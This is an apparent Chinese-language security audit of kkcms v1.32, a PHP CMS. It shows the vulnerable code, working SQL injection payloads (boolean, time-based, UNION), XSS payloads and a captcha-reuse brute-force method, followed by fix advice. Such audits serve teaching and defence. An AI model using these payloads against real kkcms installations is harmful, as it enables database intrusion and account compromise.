“快看”cms v1.32代码审计
字数 1549 2025-08-27 12:33:23
"快看"CMS v1.32代码审计报告
一、环境搭建
-
源码获取:
- GitHub地址:https://github.com/erichuang2015/kkcms
- 选择版本:kkcms-v1.32
-
环境要求:
- PHP 5.6.27
- MySQL 5.5.53
- 推荐使用phpStudy搭建
-
安装步骤:
- 解压源码到phpStudy根目录
- 启动phpStudy
- 创建数据库(如kkcms)
- 访问安装页面完成安装
二、目录结构分析
system/ # 系统核心目录
inc.php # 核心包含文件
library.php # 库函数
function.php # 功能函数
config.php # 配置文件
ucenter/ # 用户中心
admin/ # 后台管理
template/ # 模板文件
wap/ # 手机端
三、漏洞分析
1. SQL注入漏洞
(1) 注册功能注入(ucenter/reg.php)
漏洞原理:
- 使用
stripslashes()函数去除转义 - 但前面有
addslashes_deep()函数添加转义 - 导致"负负得正"效果,转义被取消
漏洞代码:
$username = stripslashes(trim($_POST['name']));
$query = mysql_query("select u_id from xtcms_user where u_name='$username'");
利用方法:
name=1' AND 2309=2309 AND 'tslg'='tslg
name=1' AND (SELECT 3775 FROM (SELECT(SLEEP(5)))OXGU) AND 'XUOn'='XUOn
影响文件:
- ucenter/reg.php
- ucenter/active.php
- ucenter/repass.php
- wap/login.php
(2) 模板文件注入(template/wapian/vlist.php)
漏洞原理:
- 未引入转义处理文件
- 直接拼接SQL查询
漏洞代码:
$result = mysql_query('select * from xtcms_vod_class where c_pid='.$_GET['cid'].' order by c_sort desc,c_id asc');
利用方法:
cid=1) UNION ALL SELECT NULL,NULL,CONCAT(0x7162717a71,0x4572725a7062476e5a734c4f51454742724f4579755449744967454b6a695461545a4857576a7952,0x7170706271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
(3) 后台删除功能注入(admin/model/usergroup.php)
漏洞原理:
- 后台删除操作未过滤参数
- 虽然引入转义文件但仍有注入
漏洞代码:
$sql = 'delete from xtcms_user_group where ug_id = ' . $_GET['del'] . '';
利用方法:
?del=2%20and%20sleep(10)
2. XSS漏洞
(1) 存储型XSS(youlian.php)
漏洞原理:
- 内容字段经过转义处理但最终无效
- 数据存储后直接输出
漏洞代码:
$data['content'] =addslashes($_POST['content']);
// 存储后直接输出
echo $row['content'];
利用payload:
<script>alert(/123456/)</script>
(2) 反射型XSS(admin/cms_kamilist.php)
漏洞原理:
- GET参数直接输出
- 无有效过滤
漏洞代码:
echo '?cpass='.$_GET["id"];
利用payload:
?id="><script>alert(/1/)</script>
(3) 多文件反射型XSS
影响文件:
- /wap/shang.php
- /wap/movie.php
- /wap/tv.php
- /wap/zongyi.php
- /wap/dongman.php
利用payload:
?m="><script>alert(/wowowo/)</script>
3. 验证码重用漏洞(admin/cms_login.php)
漏洞原理:
- 验证码无时效限制
- 可重用验证码进行爆破
漏洞代码:
if ($_SESSION['verifycode'] != $_POST['verifycode']) {
alert_href('验证码错误','cms_login.php');
}
利用方法:
- 获取有效验证码
- 使用Burp Suite固定验证码进行爆破
4. 文件上传漏洞
参考链接:
https://blog.csdn.net/qq_44713013/article/details/122187203
四、漏洞修复建议
-
SQL注入修复:
- 统一使用预处理语句
- 避免直接拼接SQL
- 检查所有stripslashes()使用场景
-
XSS修复:
- 输出时使用htmlspecialchars()过滤
- 严格限制用户输入内容
- 实现CSP策略
-
验证码修复:
- 添加时效限制(如60秒过期)
- 使用后立即销毁session
- 增加验证码复杂度
-
架构改进:
- 统一安全过滤机制
- 避免"负负得正"的安全逻辑
- 实现权限最小化原则
五、审计经验总结
-
重点关注:
- 用户输入直接拼接SQL的地方
- 未过滤直接输出的变量
- 验证码等安全机制实现
-
审计技巧:
- 全局搜索敏感函数(如mysql_query、echo $_GET等)
- 跟踪变量传递过程
- 检查包含文件的安全机制
-
常见问题:
- 转义函数使用不当
- 过滤逻辑存在缺陷
- 安全机制可被绕过
-
学习建议:
- 深入理解PHP安全函数
- 学习主流框架的安全机制
- 建立系统的审计方法论
本报告详细分析了"快看"CMS v1.32版本中存在的多种安全漏洞,包括SQL注入、XSS、验证码缺陷等,并提供了相应的修复建议。审计过程中发现该CMS存在多处"负负得正"的安全逻辑缺陷,值得开发人员引以为戒。